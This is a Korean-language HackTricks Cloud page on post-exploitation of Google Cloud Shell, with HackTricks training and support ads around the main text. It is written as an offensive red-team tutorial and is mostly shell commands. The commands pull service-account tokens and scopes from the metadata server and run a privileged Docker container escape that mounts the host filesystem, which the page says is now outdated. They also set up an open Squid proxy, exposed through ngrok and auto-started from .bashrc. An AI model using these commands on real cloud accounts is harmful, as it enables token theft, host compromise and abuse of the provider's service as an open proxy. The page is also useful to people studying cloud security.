GCP - Cloud Shell Post Exploitation
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Cloud Shell
Cloud Shell에 대한 자세한 내용은 다음을 확인하세요:
메타데이터에서 사용자 token 획득
metadata server에 접근하기만 하면 현재 로그인한 사용자로서 접근하기 위한 token을 얻을 수 있습니다:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
Container Escape / Docker use
Warning
이전에는 cloud shell이 호스트의 docker 소켓에 접근할 수 있는 컨테이너에서 실행되었습니다. 이제 Google은 아키텍처를 변경하여 cloud shell 컨테이너가 “Docker in a container” 설정으로 실행됩니다. 따라서 cloud shell에서 docker를 사용할 수 있더라도 docker 소켓을 이용해 호스트로 이스케이프할 수 없습니다. 참고로 이전에는
docker.sock파일이/google/host/var/run/docker.sock에 있었지만 현재는/run/docker.sock로 이동되었습니다.
Docker use / Old container escape commands
```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```또한 과거에는 metadata server에서 cloud shell VM이 사용하던 service account의 token을 찾을 수 있었습니다:
metadata server의 이전 service account
```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` 다음 scopes: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write
</details>
### 프록시로 사용하기
google cloud shell 인스턴스를 프록시로 사용하려면 다음 명령을 실행(또는 .bashrc 파일에 추가)해야 합니다:
<details>
<summary>Squid proxy 설치</summary>
```bash
sudo apt install -y squid
참고로 Squid is a http proxy server. 다음 설정으로 squid.conf 파일을 생성하세요:
squid.conf 파일 생성
```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```squid.conf 파일을 /etc/squid로 복사하세요
/etc/squid에 구성 파일 복사
```bash sudo cp squid.conf /etc/squid ```마지막으로 squid 서비스를 실행합니다:
Squid 서비스 시작
```bash sudo service squid start ```ngrok를 사용해 proxy를 외부에서 접근할 수 있도록 하세요:
ngrok로 proxy 노출하기
```bash ./ngrok tcp 3128 ```실행한 후 tcp:// URL을 복사하세요. 브라우저에서 proxy를 실행하려면 tcp:// 부분과 포트 번호를 제거하고 포트 번호를 브라우저의 proxy 설정의 포트 필드에 넣는 것을 권장합니다 (squid는 http proxy 서버입니다).
시작 시 편리하게 사용하려면 .bashrc 파일에 다음 줄을 추가하세요:
.bashrc에 자동 시작용으로 추가
```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```지침은 https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key에서 복사되었습니다. 해당 페이지에서 Cloud Shell에서 어떤 종류의 소프트웨어(데이터베이스와 심지어 Windows까지)를 실행하는 다른 기발한 아이디어들을 확인하세요.
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

